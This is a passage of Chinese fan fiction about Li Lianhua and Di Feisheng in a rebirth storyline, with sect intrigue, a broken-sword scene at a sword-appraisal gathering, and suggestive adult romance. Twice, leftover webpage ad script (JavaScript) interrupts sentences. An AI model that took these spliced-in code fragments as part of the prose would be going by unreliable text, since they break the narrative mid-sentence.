但上辈子就算有角丽谯捣乱,老笛派去寻忘川花的人也是明晃晃失手。
再说,这等天地奇珍,生长之地必然特殊,想要采摘只怕要耗损人手。
既如此,不妨等万圣道上门交换业火母痋,再提出以忘川花阳草突破悲风白杨第八成,便是上佳之策了,万万不用再度赔上阎王寻命。
而且,也只有老笛这种从不在意江山霸业之人,才有可能毫不在意地说出寻到业火母痋之地是极乐塔,塔中又有什么惊天秘密。
这样,单孤刀失败之际,才可能爆出皇族血脉有假、而他是唯一正统的消息,以垂死挣扎地用祖宗血缘博取皇位。
自己也就能大庭广众、名正言顺地,以真正且唯一正统的名义,站在阳光下。
234
“天欲其亡,必令其狂。”李莲花迎着朝阳微微一笑,周身仿佛镀上一层金边,几乎晃花了笛飞声的眼眸。
分道扬镳成了必然,笛飞声也不犹豫:“好。”
235
但到底和李莲花想的不一样,没有人捣乱,又被金鸳盟围了笛家堡,那句“天高海远,任尔等自在纵横”之后,无颜便接收了那群倍受荼毒的孩童。
当然,笛飞声本不想那么费劲。
想起以往李相夷总爱做这种拯救苍生之事,他打算让无颜直接通知百川院唯一经常出外勤的石水,却得到了一个极为意外的答案。
236
“你刚说什么?"笛飞声险些怀疑自己耳朵出了毛病:“本尊处置了角丽谯之后,石水和佛彼大吵了一架,以出外勤为名始终不归百川院,最近把刑牌一鞭劈成两块,让人送回去了?”
无颜也是一脸无言:“是,消息刚刚传开,江湖中已是议论纷纷。”
李相夷中碧茶之毒的事,石水为了李相夷最后的痕迹百川院能保留,都咬着牙认了佛彼的决策,如今却分崩离析。
笛飞声若有所思,看来自己一出关就处置角丽谯及其同伙的事情,委实是刺激到了当年的知情人。
237
但惦念李相夷的故人如此,敌人又如何呢?
他思忖着,问道:“角丽谯背后的人,查了这么久,有结果没有?”
无颜羞愧摇头:“藏得很深,一时间没有明证。但属下斗胆猜测,与万圣道有关。”
笛飞声一言不发,只是看着他。
“尊上出关之前,角丽谯曾让人查过现在的万人册前几在何处,预备着您要寻他们比武。"无颜低声道:“结果,顺着她当时查到所留下的记录,发觉浮屠三圣和无戒魔僧,都与万圣道关系匪浅。”
他还道:“万圣道本身虽低调,但若论源头,可追溯到百年前。四顾门解散,我金鸳盟这十年沉寂,只有他们越发活跃,甚至与朝堂联系更加紧密。”
“再查,谨慎点。”笛飞声吩咐道:“还有,关注石水的行踪。”
238
只为利益就罢了,但李相夷当年何其耀眼,又惹来多少嫉恨?
石水为百川院的院主时,虽外勤极多,可身边总带着人,李相夷又十年不是说这,动起来没必要。
如今他出关,难免让人怀疑李相夷是否也活着,又见石水为昔年旧事退出百川院,显是对李相夷依旧忠心,简直就成了最佳的靶子。
239
无独有偶,路上喝了不少好药养身体,刚潜入万圣道的李莲花得知此事,第一反应也是石水的安危。
尤其是他趴在屋顶上,刚巧把单孤刀命封磬派人杀石水试探他是否还活着的话听在了耳朵里。
‘忍住了,小不忍则乱大谋。’李莲花强行阻止自己掀开屋顶,一拳锤死下面那个欺师灭祖的畜生。
没有什么,比让一个人登临巅峰前摔下去更有报复的意义了。
他也正好分清敌我,以另一个角度辨别南胤族人的心思,把心怀不轨不肯好好过日子的野心家一网打尽。
240
仗着举世无双的轻功,又不似上辈子那么要脸面,灵活行事的李莲花穿着夜行衣,施施然转遍了万圣道的总部。
‘没有忘川花,果然上辈子是老笛派人找,角丽谯暗中截消息,才让万圣道率先得手。’他把部署与阵法摸得清清楚楚,深觉没一个能打的:‘从哪里跌倒,就从哪里爬起来。小宝上辈子夺花失败被困,这辈子怎么也得和为师一样,夜探后全身而退啊!’
李莲花决定,就把这里当成方小宝的出师任务。
这小子要是敢给他丢脸,就等着吃一辈子酸甜苦辣咸兼并的菜吧。嗯,只有菜,不给肉。
241
封磬与单孤刀也不是一直都在万圣道,李莲花耐心地等了几日,总算在他们离开之后,有机会接触到上辈子逃亡后好好过日子的南胤遗民,并借此掌握了被万圣道以各种手段或收买或威胁或合作而收为己用的朝廷官员名单。
而金鸳盟十年前、十年后的南胤人里,也同样不缺这种人。
李莲花之所以先去救上辈子死那么早的四象青尊,就是要利用他十年前的好名声,既带好金鸳盟里的南胤遗民,又能去族地拉拢一批看不上单孤刀行事,故以他们是老弱病残为名不参与万圣道的高手,也就是后来为了复仇投靠老笛杀入皇宫的那一批。
如今还未经历过屠杀,这部分人应当不少。
242
比起什么都不知道的单孤刀,上辈子做了那么久背后灵的李莲花跟着笛飞声,参与了战后南胤遗民重建家园的全过程,可谓深谙南胤秘术以及各种隐秘。
李相夷的人格魅力与李莲花的三寸不烂之舌相结合,他本就各方面完败单孤刀在先,又拿出了几件极为隐秘的事情,借口是年幼时在家里背过但彼时不知道含义,更别说某些万圣道高层手里还有当年一脉相承、能被萱公主后代以血消融的痋虫,很轻松就证明了身份。
“我理解你们的心情,但暂且不必。”李莲花婉拒了忍单孤刀自高自大行事风格太久、骤知正主另有其人而瞬间热泪盈眶的几人,强烈要求他留在万圣道给单孤刀来个瓮中捉鳖的建议。
老谋深算李门主微微一笑:“戏台都搭好了,不让我那自视甚高的师兄上去一遭,岂不可惜?”
“世人皆知,李相夷喜好颜面,贪恋热闹。”他眨了眨眼睛,竟露出了几分俏皮来:“那我要出手,必然是万众瞩目之下救世人于水火之中,嗯?”
几人恍然大悟、信以为真,纷纷添砖加瓦提出意见,积极配合单孤刀,势必要完成英明神武的新主人布置的任务——
把单孤刀驾到火上当薪柴,为李莲花未来出场达成完美救世的效果。
243
这样一来,李莲花过得开开心心,人也和蔼可亲了。
“当年李门主目下无尘冷酷无情不近人情的名声,肯定都是单孤刀传出来抹黑他的。”原先还有点担心的几个人私底下一聚,本来还多少有点担心的心思,彻底落定了。
然后,他们的注意力就转到了毒上:“现在最重要的是为李门主解毒,各位最近遍查我南胤古籍,可有什么能解药魔的碧茶之毒?”
接下来,为了南胤未来努力的人们你一言我一语,答案没有确切的,药倒是备了一份又一份,一点都不吝啬。
244
“主上。”看不上单孤刀所为和封磬不和、率先给李莲花投了支持票的封家二号人物舌战群雄赢了第一场,遂端着一大碗药还捧着药渣过来了。
他苦口婆心道:“您的碧茶之毒,因医师不能确定立场,我们没有去找,都是自己查了再寻灵药熬煮,连药渣都没放在外面。您学究天人,肯定辨得出有没有效,不妨喝一喝!”
245
面对殷勤担心的目光,李莲花呆滞了。
额,现在说他愿意喝就是嫌太苦想吃糖,会不会被他们几个私底下笑死?
在老笛面前为了逃避喝苦药几乎撒泼打滚,重新拾起李门主身份的李莲花面对未来一辈子的下属,却只能绷着脸接过药,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
强忍着快吐出来的感觉一饮而尽。
246
“主上,请。”好在这人还有点眼色,知道递来热茶:“属下此来,还有一事。”
嗯,众所周知李相夷爱茶。
不然怎么会中碧茶呢?李莲花苦笑一下,却凝神去听封家人的禀报。
“我堂兄派了一批人出去,今天走的,明面上目的应是石院主。”他犹豫了一下,才道:“但以属下对他的了解,他对忠心的人都有点好感,反而不太可能直接下杀手,毕竟还要试探您是否还在。所以,真实目标……“
他看了李莲花一眼,斟酌道:“更可能是您的前未婚妻,最近与肖紫衿传出谈婚论嫁之说的乔婉娩。”
李莲花的神色一下子就沉了下去。
247
“咚咚咚。”忽然,密室外传来了敲门声。
是此番投靠李莲花的另一个南胤贵族之后,隔着墙低声道:“主上,新密报传了过来,天机山庄少主方多病破了采莲庄的命案,新娘子已解除婚约回家了。郭家几人被押解回百川院,但这回是云彼丘亲自前去,前石院主仍然不知所踪。”
不用李莲花说什么,封家人就冷笑出声了:“说好画地为牢好好思过,他凭什么出来?凭他脸大还是脸皮厚?!”
“噗!”李莲花一口茶喷得落花流水。
248
啊这,彼丘啊彼丘,连我都不可能再为你找借口了。
佛彼也有问题,石水不归,难不成你们就完全不出外勤?那当年四顾门成立时的誓言,十年过去,是被狗吃了吗?
“哎,家门不幸。”李莲花叹了口气,压着李相夷的暴脾气,总不能打上门把他们按在地上摩擦吧。
他叹着气,又给自己灌了一杯茶。
249
两位属下却大为不满:“主上!您一失踪四顾门就解散,算什么家门?以后我们才是您的家门呢,要是您嫌万圣道的名字不好听,拆了牌匾换一个就是,我们保证没人有意见!”
“噗!”李莲花第二次喷得仿佛暴雨梨花。
他放下茶盏,擦了擦脸上的水,干笑道:“不用不用,好歹是老祖宗起的名儿。”
如果记载无误,这应是萱公主起的。
挖了一品坟两次已经不好意思,再嫌弃祖宗没文化,李莲花都觉得对不住了。
“既然消息已定,我也当归。”李莲花笑了笑:“用人不疑,疑人不用,你们便宜行事即可。”
250
路上听说肖乔即将大婚与赏剑大会即日举行的消息,他只是淡淡一笑,没了前世那种淡淡的伤心感。
沿路到是听说金鸳盟难得做了一件好事,攻破笛家堡,解救了大量被拐卖的儿童。
李莲花勾起唇角,又听武林人士慨叹:“金鸳盟甚至没收拢控制这些差点沦为杀人机器的小孩,而是问他们还有没有亲戚,有就记录下来统一送去家乡。”
“如果没有或本就是被家人卖出来,不想混江湖打打杀杀,还挑选了本地商铺收养到成年。”有人语气复杂道:“百川院都没他们干的细致,真想不到大魔头对孩子那么热心啊。”
旁人笑道:“推己及人吧,现在不也传开了嘛,笛飞声也是这些孩子们中的一个,只是资质好自悟了武功,才能逃的远远的。等笛家堡发现,金鸳盟已经成立,他们抓不回笛飞声。”
还有人道:“倒是笛飞声沉寂十年,处置角丽谯被质疑过河拆桥不解释,反而一门心思解救孩子……或许以前真的看错了,他也没那么坏。”
251
李莲花打马而过,唇角高高翘起。
他顺着沿途的金鸳盟记号,回到普渡寺旁边山林里,寻至莲花楼时,方多病正在喂狐狸精,抬眸便大喜过望:“你回来了!”
“笛盟主中午睡了个午觉,刚走。”他一个箭步冲进里屋,取出了药包:“他送来了药魔和无了大师最新配的药,现在又去普渡寺,跟他们商量治疗方法呢。”
李莲花笑容一僵。
“额,你别担心,有新买的糖。”方多病赶忙推开李莲花内寝的门。
床榻上被子叠得整齐,床褥上尤有褶皱。
显然,李莲花不在这些日子,笛飞声解决了笛家堡的事情,回来就一直住在莲花楼里。
“喏。”方多病明显被叮咛过,掀开枕头便露出了下面五花八门的软糖硬糖:“你自己拿。”
252
李莲花沉默着,踏入房内,随意捡起一颗糖。
他剥开糖纸、吃下糖果。
口舌生津,好甜。
清风拂过微微敞开的窗户,好暖。
12. 【笛花】重生玉城时11
253
就在隔壁的笛飞声,倒不是方多病所想,在商量治疗方法。
因为如今药魔和无了已统一了意见,就用忘川花去解碧茶之毒,天机山庄与金鸳盟都已派遣人手去寻。
这是因为笛飞声越过方多病,主动联系了天机山庄。
254
之前玉城玉红烛找上门合作,说是方多病帮着破案,天机堂主何晓惠就已经很惊喜了。之后做灵药生意,山庄出力不少也收获不小,她良心甚安,但这次却是惊大于喜。
无他,自家傻儿子初入江湖,居然能搭上魔教金鸳盟,换谁不震惊?
特别是,她还知道儿子一心一意拜李相夷为师,可李相夷正陨落于同笛飞声决战东海。
是以一开始她不敢信,倒是和丈夫商议了一二,再叫上展云飞,才敢去见笛飞声。
255
“是你……”当时,笛飞声刚从笛家堡回来,身上血气还未消散,却在瞧见披头散发的展云飞时怔了一瞬。
展云飞不禁惊了一下:“笛盟主知道我?”
“曾听他说过。”笛飞声勾了勾唇,目光扫过展云飞堪称没有的发型:“想不到,真有人能十年如一日守诺,你倒是比四顾门顺眼多了。”
展云飞听出了他说的是谁,联想到前不久笛飞声一出关就处置角丽谯,再想想石水突然退出百川院,脑中似有什么闪过,细想又串联不起来。
256
“展护卫?”何晓惠讶异地问了一句,却见展云飞眸色微微一暗,竟摇首垂眸不答。
笛飞声反而主动转移了话题:“何堂主,本尊此来,是有一事请天机山庄相助。”
“忘川花。”不等何晓惠问,他便揭开了谜题:“金鸳盟沉寂十年,本尊又处置了这些年主事的角丽谯,寻这忘川花有些力不从心,还望天机山庄援助一二。”
方小宝这师不能白拜,总得给些束脩吧?
何晓惠为天机山庄庄主,也算博闻强记,自然知道忘川花是什么:“忘川花的效用,似乎与悲风白杨相似,应当是笛盟主突破时需要的吧?这的确是一出大生意,能得笛盟主信任,倒也是我天机山庄的荣幸。”
但是,她不明白笛飞声之举意义何在:“可这荣幸,又从何而来呢?”
笛飞声幽幽回道:“近日,方多病与莲花楼主为伍,而李莲花又与我关系匪浅。他让我命麾下替令郎遮掩一二,许是耽误何堂主训子了。”
257
这似乎不是威胁,而是示好?
何晓惠微微睁大了眼睛,实在难以想象这个大魔头难得一见好说话的模样。
不过,那名传江湖、行踪不定的莲花楼主,小宝又是怎么跟人家结缘的?
258
“笛盟主。”展云飞忽然开口,问的更是奇怪:“敢问方大少爷可是得偿所愿了?”
笛飞声轻轻点头。
“真好。”展云飞释然一笑,然后这笑又多了点捉狭之意:“十年前,谁胜谁败?”
笛飞声沉默。
展云飞无辜地看着他,还补了一刀:“我和他一面之缘就输掉了头巾,笛盟主与他私交颇深,想必输过更多东西吧?”
“哼。”好半天,笛飞声摸了摸刀,扭头就走:“明知故问。”
他踏前两步,又停下回了个眸:“忘川花,可解碧茶之毒。”
259
“碧茶?”展云飞的脸色登时就变了,但很快就冷静下来:“角丽谯,你不知情,可他能中毒……”
笛飞声不吝啬于让这个破事儿被李相夷的旧友知道,只因做不到现在李莲花那般淡漠,遂提醒道:“百川院。”
某位院主十年间几乎足不出户,另一个时常出外勤的,最近倒是大发雷霆直接决裂,展云飞瞬间就懂了。
“云彼丘!”他捏紧手指,冷笑了一声:“好一个为色所迷的美诸葛!”
笛飞声不言不语,只是再度摸着刀柄,大步离开。
260
“到底怎么回事?!”你们打什么哑谜呢,何晓惠终于坐不住了,拍桌子逼问展云飞。
展云飞闭了闭眼睛,抬眸微笑道:“堂主,我请一个长假,就……嗯去一趟百川院参加赏剑大会。”
“参加?”看出他有难言之隐,何晓惠没好气道:“你这表情分明是要去踹场子吧!”
展云飞神情淡淡:“不,我只是看戏,定不会让天机山庄牵涉其中。”
自己和李相夷虽为友,但到底只是一赌之缘,踹场子可轮不到他。
只是鼓个掌唾骂一下百川院乃至四顾门,是没问题的。
笛飞声打哑谜透露此事,不也是希望李相夷知情的旧友伸出援手搜寻忘川花,亦在此事上万万不要站错了位置,再惹当年那个惊才绝艳的少年继续伤心。
261
“方小宝!”有那样的合作关系,在莲花楼忙得团团转的方多病忽然迎来小姨到访,就不值得奇怪了。
猜到老笛不会不联系天机山庄,李莲花只笑着招呼人:“何二堂主。”
“啊小姨你怎么……怎么找过来的?!”唯有被瞒在鼓里的方大少爷受了伤,耳朵被揪着扭了一圈,惨叫着跳脚。
何晓凤“哼”了一声,转头看着李莲花,抿唇笑了笑。
262
这青年神医,锦衣贵重,其上云纹轻盈,望之颀然其长,薰然其和,风姿俊秀。
可惜啊,只能观,不能碰。
“李神医,有劳你这些天照拂小宝啦。”何晓凤想到姐姐在临行前的千叮咛万嘱咐,对自己几乎千依百顺的展护卫也神色微妙地告诫,对李神医一定要以礼相待,到底没敢把贪恋美男子的真实面目暴露出来。
老笛和天机山庄合作,肯定故意暴露了点线索,至少展云飞和何堂主是知道了。仅从何晓凤的表现,李莲花便心中了然,还礼道:“客气。”
263
他们寒暄了一番,以何晓凤揪走方多病为结束。
但李莲花到底拗不过徒弟,答应亲自去赏剑大会。
说来也奇怪,这大会比起前世,似乎推迟了一段时间?
虽然目前还没传出剑被盗的消息,可李莲花心知,前世那个小贼背后未必就没人,所以非常冷静。
264
方多病被拖出门的时候,正好撞见回来的笛飞声。
看着他的小表情从羞恼到恍然再到控诉,李莲花不由得忍俊不禁:“噗!”
啧,这傻小子是才反应过来,老笛是算好时间,自己一回来就让赖在这里的他不能再碍眼吗?
但何晓凤单独撞见江湖上恶名久传的金鸳盟盟主,不自觉紧张了起来。
结果,她还没来得及礼貌地打个招呼,手底下就传来大力。
“笛飞声!”被拎着的方多病恼羞成怒地张牙舞爪:“你过河拆桥!”
说好的,本少爷要亲口跟师父禀报,让他知道徒弟在这次采莲庄之行里的出色表现,还有那个连你都觉得石破天惊的发现!
何晓凤看看胆大包天敢骂大魔头的外甥,再看看抱臂冷笑的笛盟主,后背冒了冷汗。
265
好在有神医妙手回春,一剂便拯救了濒临爆发的危局。
只听他温温柔柔地唤了一声:“阿飞,你回来了。”
“嗯。”何晓凤眼睁睁地瞧着,神色冷厉的金鸳盟盟主,表情瞬间就和风细雨了。
像是竖起獠牙、摆出扑杀姿势的孤狼,慢悠悠缩回丛林里,踩着晚风跃回了舒适的巢穴。
“无了留了素斋给你,我带回来了。”他甚至还从怀里取出油纸包,身姿灵巧地从窗户一跃而入。
楼内立刻传来了笑骂声:“什么毛病啊你,就不能好好走门?”
“哼。”方多病对天翻了个白眼,都不用自家还傻站着的小姨拖了,主动拽着人迅速撤离了现场。
哼,看在师父开心的份上,本少爷不跟你这个痴情人一般见识。
绝对不是打不过怕被揍的明天不能见人的缘故!
266
何晓凤最后还是禁不住好奇心的诱惑,回头看了一眼。
关上的窗棂中,烛光摇曳着,两束人影亲密地交织在了一起。
267
“真肉麻,对吧?”方多病戳了戳小姨的手臂。
何晓凤静默了一瞬,哀叹道:“我这次还没恋呢,就失了。”
“啊?”方多病愣了一下,便举起双手微微一笑:“哦,那失的真好,还给你一炷香时间,调整好心态再走,怎么样?”
小姨,你又不是猫有九条命,敢和笛飞声抢人?!
你可千万别想不开,就和平时看见美男子一样吧,惦记一炷香,忘了就行。
何晓凤瞪他一眼,不吭声了。
刚刚那个身姿挺拔、玉骨灵秀的青年,像是一滴墨落在白纸上,过于显眼。
哪怕明知道不属于自己,一时间也难以忘怀。
268
“啧,人家可是一对,你别想了。”回来之后发现笛飞声对他的态度更好了一点,方多病就猜到他们多半是说开了。
适才李莲花一回来就忙活半天,又采花熏香又沐浴更衣,还叫了一声让他活生生打了个寒颤的、无比肉麻的“阿飞”,更让方多病肯定了自己的判断。
方多病绞尽脑汁地开导何晓凤:“不如去赏剑大会散散心,这么重要的大会,肯定有不少美男子供你欣赏嘛!”
何晓凤眼眸一亮,答应了下来。
269
莲花楼内,灯火跳跃。
“你支走了小宝,是有什么私事要说?”李莲花一边用膳,一边竖着耳朵,听笛飞声复盘采莲庄一行。
不同于方多病查案的视角,他派去的人站得高远,一切线索清清楚楚,诉说也就更加客观。
不仅仅是前世所知,还有狮魂一事的前因后果。
270
“你真是护短啊。”李莲花哭笑不得。
上辈子心不在此,但想也知道,笛飞声真的会这么随口吩咐一句——
郭家父子被百川院关押之后,他竟让无颜把当年伤了狮魂,间接导致单孤刀尸骨没能回到金鸳盟的千影无踪一派找出来,派盟中下属前去一对一地挑战了昔日的追杀者。
后果自不必提,李莲花心知肚明,从不受江湖规则束缚而被视为魔教的金鸳盟,新近恶事必然又添了一桩。
“幸好我已经不是武林盟主了。”他慨叹一声,对于再也没人,譬如单孤刀,在耳畔各种大声叫嚷金鸳盟如何如何残忍狠辣,感到庆幸。
271
笛飞声不置可否。
他勾起李莲花的下颚,既不打算在找到忘川花之前说出解毒之法,为李莲花平添知道希望却找不到的烦恼,又不想大煞风景谈论无趣琐事。
“唔……”李莲花模糊地低吟一
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
声,唇上覆上了温热而强势的温度。
像是一簇烈火,自火苗灼成火球,从外炙烤向内。
那滚烫的刀锋破开了齿列的守卫,势如破竹地燃过他口中每一寸空间,烙下独属的印记。
又有湿热的掌心贴上胸口,内力吞吐着缓缓逡巡,从前胸到后背再至腰间,恍如熊熊火海,又似深邃汪洋,令他重温坠入东海的沉溺感。
可明明是猛烈催命的悲风白杨,李莲花却再觉察不了彼时窒息与绝望的心境,只有被蒸煮翻炒的赧然与油然而生的疲软。
“我不该留你一人。”笛飞声轻轻一叹,收回抚摸他腰际的手掌。
同样滚烫的指尖,摩挲着李莲花润红的唇:“你喝了好多药,但没有去过任何据点,身上的钱也没少多少。肯定没买糖吧?真是受罪了。”
272
腰包薄厚丝毫不变,置备的银票根本没有动过,可把脉所查身体情况好了不少。
应是此行顺利,还被人供了起来。
但以你在外人面前死要面子的脾气,非要撑出个云淡风轻的表象,药是肯定会喝的,糖是肯定提都不会提的,那怕不是喝一次就想吐一次。
273
“我……”李莲花后知后觉地反应过来,耳尖霎时间通红。
笛飞声却已扣住他的肩膀,把人带到了床上:“既已沐浴过了,今晚就早点睡吧,少师剑明日再说……”
“等等。”李莲花在被窝里挣扎,咕哝道:“你怎么知道我沐浴过了?”
养花很有心得,笛飞声低笑一声,俯下了身道:“你身上有梨花香。”
274【笛花】重生玉城时8彩蛋番外包括笛夷甜蜜旧事《相思梨花阵由来为何?》需糖果解锁
十年前,梨花林,他一掌拍落,满树梨花落如雪,便捻起一片在唇间。
李相夷听见自己说这香配你,哪一日输了以后都用梨花熏香,有斑驳阳光顺着林木洒下,那双清凌凌的眼睛亮得仿佛剑光。
他没有笑,亦没有开口,但笛飞声分明看清了那眸中的应允之意。
只可惜,其后比武仍未赢过。
唯一以为的胜,失了对手十年,才知是一场笑话,便哪怕两心相知,也不曾旧事重提。
275
“春水映梨花。”李莲花突然开口:“你当年真的知道这句诗代表了什么吗?”
笛飞声摇了摇头:“不懂,但配你。”
“哼。”李莲花哼笑一声,突然发狠咬上他的颈间。
两人就又纠缠在了一起。
276
衣料散落在地上。
熏了很久的梨花香,弥漫在床笫之间,愈沉愈甜。
277
相思梨花阵前,有人汇集。
“这梨花怎么被摘了许多?”肖紫矜蹙起眉头。
纪汉佛与白江鹑入阵转了转,没发现任何线索。
278
“李门主,本尊记得,你为梨花阵取名相思。”笛飞声从李莲花胸前掬起一捧汗水。
……
他睁着眼睛,在余韵里缓了又缓,才笑了起来:“笛盟主,平生不会相思,才会相思,便害相思。”
当时心系阿娩,却不一定真的懂面对笛飞声时的悸动。
唯独在取名上,脱口而出的相思二字,代表某些想法悄无声息冒出了头。
“诡辩。”
……
279
从榻上到浴桶,水上飘满了梨花瓣。
月色难掩沉沦,梨花香愈发重了。
280
笛飞声百忙之中,朝着桌案投去一眼。
红烛将尽。
“其实,你一直认得出来吧。”他忽然笑了。
281
一整夜了,如麻绳般系满躯体的红绸竟完好无损。
是李莲花一直在克制。
闻听此言,湿润含水的眸光掠过身上艳,红的龟甲缚,他竟抿唇也笑了一声:“我倒是想问,红绸在此,屋顶呢?”
282
红绸可以轻拿轻放、随身携带,但屋顶不能,你这是故意挑衅。
笛飞声默不作声。
他解开了那又舒服又恼人的束缚,将厮混一夜的爱侣拥入怀中,换好彼此的衣服,抱着人跃出窗口。
李莲花顺着笛飞声的目光,将视线投向了天边。
283
好漂亮的日出。
等等,怎么下面多了一层瓦?
李莲花从不一样的触感回过了神,低头发现下方别有洞天。
木质的房顶上,无声无息多了一块看着挺违和的屋顶。
位置不偏不倚,就在他们刚刚颠鸾倒凤的床榻上方。
284
“你什么时候弄的?”李莲花不可置信:“我回来的时候还没有呢!”
笛飞声淡淡道:“方小宝的机关术水平还行。”
他按了一下某处瓦片,再抱着李莲花往上一跳。
“唰。”剑神红绸剑舞踩着的屋顶分成好几块飞速散开,露出了原本的楼顶。
李莲花呆如木鸡:“可是……可是……你怎么跟他说的?”
老笛,你要是敢直言不讳,就别上床了!
“木头容易潮湿渗水,我专门拿了一块屋顶,让他安装成防雨屋顶。”笛飞声轻描淡写,全然不提方多病当时微妙的、猜出来了的表情。
13. 【笛花】重生玉城时12
285
一起欣赏了日出,李莲花理所当然回去睡了个回笼觉。
笛飞声任劳任怨收拾着翻了的浴桶、满地的梨花瓣与水渍,还有彼此被撕得很碎的内衫外裳。
被好好收藏了十年也没掉色的红绸除了汗湿,倒是完好无损,先入水揉洗了一番,便率先晾晒在阳台。
“……”回眸时虽然不是第一次见,但笛飞声还是忍不住抽了抽唇角。
286
那一晚,天很黑,浪很大,一叶孤舟而至。
他仰头饮酒,隔窗纱,听剑声嘹亮。
所以说,李相夷当时是不是越看自己的影子就越不顺眼,才捞起船,硬生生把这里改造成晾晒之地?
犹记最开始找到莲花楼时,一件裤衩就晒在当年的酒案上方飘啊飘,很难不怀疑这是他幼稚的报复心。
287
就在此刻,不远处的树林传来脚步声。
“这里怎么有一栋楼?”陌生人的声音响了起来,听起来是个沉稳的男子。
另一个嗓音轻快活泼,从林间钻出来时,露出一张出水芙蓉的面,是个俏丽明艳的姑娘:“我看看我看看,诶,是莲花楼主的莲花楼呀!”
隐于二楼的笛飞声蹙眉看了看李莲花,在脚步声愈近之时,无声无息地退入了阳光照不到的角落。
“咚咚。”好在楼内早就收拾好了,又通风许久,来客还礼貌地停在门口敲门,给足了李莲花整理行装的时间。
他掀开被褥飞快叠好,又披了一件外衣出去,结识了两位前世旧友。
288
再几日,风波平静,赏剑大会如期举行。
江湖游医自然没有请帖,也就被拦在了外面。
李莲花一点都不着急,他只是不自觉想到前世,方小宝作为引荐人,将他们带了进去。
289
但这一次不会了,因为笛飞声未曾同行。
这家伙一大早就神神秘秘,糕点蒸在蒸笼里,他去林子中和无颜说了好一会儿话,直到点心出锅才归。
不过有一事比上辈子好多了,起码他不用被方小宝叫去拜自己的画像,还要掏出糖来供着。
更不用在台下,尴尬地听着倒霉徒弟一脸兴奋地谈起红绸剑舞。
290
当时,自己说两句就罢了。
问题是,他还得听着老笛在旁边指指点点,用能听出正忍着笑的嗓音,附和着说‘是啊,竟这般招摇’!
“哼。”李莲花忽然轻哼了一声。
若论招摇,普天之下也只有他笛飞声能与李相夷一比。
被宿敌仗剑杀到船上,还能不动声色仰首灌酒,听剑鸣风动波涛助兴,金鸳盟盟主比起他四顾门门主,明明不相上下!
291
因天机山庄来的人齐全,李莲花随方多病进来,自然是到了天机山庄的站位处。
“怎么了?”听见那声轻哼,立于他身畔的展云飞小声问道。
从前世记忆里抽身,李莲花微微摇了摇头,手掌却握成了拳头。
他从少师剑上收回视线,直接传音道:“剑出事了。”
老和尚把真的剑还回去了,百川院却还是没能保住。
作为剑的主人,李莲花一眼就瞧了出来,心头简直怒不可遏。
“……”展云飞无语地看了李莲花一眼,满目写着‘你门下是真的离了你就一事无成啊’。
李莲花揉了揉额角。
老笛一会儿就到,但愿他看在自己的面子上,能给没保住少师剑的百川院留点颜面。
不用多,每个人留一口气就行。
至于罪魁祸首,不用多想,必然是单孤刀!为了试探自己是否存活,他可真是够狠的!
292
百川院开始讲话了。
纪汉佛率先道:“少师沉寂十年,能被寻到,重现于世,全倚仗江湖的朋友相助,更幸的是有两位老友全力奔走。”
方多病看了看乔婉娩和肖紫矜,怎么觉得肖紫矜的脸色格外不好呢?
“这么多年,若寻到相夷从不离手的少师,我们也十分慰藉。”站出来的乔婉娩笑得落落大方:“今日,望我武林中人,莫忘记惩恶扬善,天下太平的理想,不负相夷他心中所愿。”
见肖紫矜脸色稍有好转,轻轻揽住乔婉娩,李莲花了然地移开了视线。
293
没提生前二字,无了肯定该说的都说了。
紫矜若还是看不开,他可不打算跟前世一样纵着了。
不然,就算自己有心留他一命,老笛也会一刀砍过去的。
人有远近亲疏,就像前世阿娩为了紫矜求他不要在意四顾茶会之事,他如今也绝不会为肖紫矜去伤笛飞声的心。
294
这一回,没老笛捣乱把李莲花丢上去,方多病一举夺魁。
他欣然拿起少师剑时,还在想师父总算是想岔了一回,这剑不是好好的嘛,就听见当啷一声。
少师剑,当场断了。
295
“怎会如此?!”方多病的眼圈一瞬间就红了。
他把少师剑翻来覆去看,起身对呆如木鸡的台上人咬牙怒道:“剑被断了!谁干的?!”
见确实和李相夷有关的方多病气成这样,他本身还是天机山庄少主,而此次赏剑大会天机山庄难得赏脸地几乎全到了,自然没人敢于质问。
“怎么会如此……”他们匆匆冲到面前,不可置信地看来看去:“从剑阁拿出来的时候还是好好的……”
就在此刻,一声巨响从门口传来。
“金鸳盟……金鸳盟……的大魔头……”几个倒霉的弟子被刀气砸飞,落在几人面前,吱吱呜呜哀嚎道:“他……他杀进来了!”
296
一身红衣的笛飞声,下一瞬便出现在众人面前。
还是气的李莲花眸光一闪,认出了那是十年前东海一战时那一套。
“废物!”笛飞声冷冷地看着百川院众人,俯身捡起断了的少师剑,目光才扫过台下似是波澜不惊的李莲花与神情严肃的天机山庄几人。
纪汉佛深吸了一口气:“笛盟主此来何意?”
话虽如此,不论是他或云彼丘、白江鹑,都不认为少师剑断是笛飞声所为。
297
“无了大师。”然后,他们竟看见大魔头拱手行了个礼。
普渡寺无了从人群中走出:“阿弥陀佛,笛施主费心了。”
“我普渡寺来了个新人,日前被笛盟主发觉行为不端,果是盗剑之徒。”他主动解释道:“托笛施主的福,前夜将少师剑送还,诸位也知道的。”
无了忍不住叹了口气:“只是没想到,还是被人使了坏。若几位早上取剑时没有出鞘,必然是昨夜少师被归还后发生的。”
没想到前次盗剑就是笛飞声阻止,大家面面相觑,乔婉娩更神情复杂,都未曾出声。
298
“睹物思人。”笛飞声负手冷笑:“尔等连睹都不敢睹,做贼心虚!”
三位院主脸色大变。
肖紫矜、乔婉娩狐疑地看了看他们,之前石水愤而退出,他们回来后自是追问了。
但云彼丘低头不语,佛白支支吾吾说赏剑大会后详谈,赏剑大会要忙的事情太多,也就没再追问。
如今看来,好像不对劲啊?
299
“哦对。”方多病状似恍然大悟,突然一把抽过笛飞声手中一枚断剑,将剑尖指向云彼丘:“我差点忘记,此行还有正事要……喂!”
笛飞声飞起一掌,夺回剑尖,将方多病砸飞摔回了天机山庄阵营:“轮不到你,小子!”
“乖啊小宝。”方多病那个气啊,还想冲上去,却被李莲花牢牢扣住肩膀,低声笑道:“让你师娘给我出气去。”
方多病:“……”
他默默地不动了。
300
展云飞从未有一刻像现在这么觉得,憋笑好难啊。
“李相夷!”被秀到忍无可忍,琵公子干脆无需再忍,用只有天机山庄几人能听见的音量,低吼道:“你给我收敛点!”
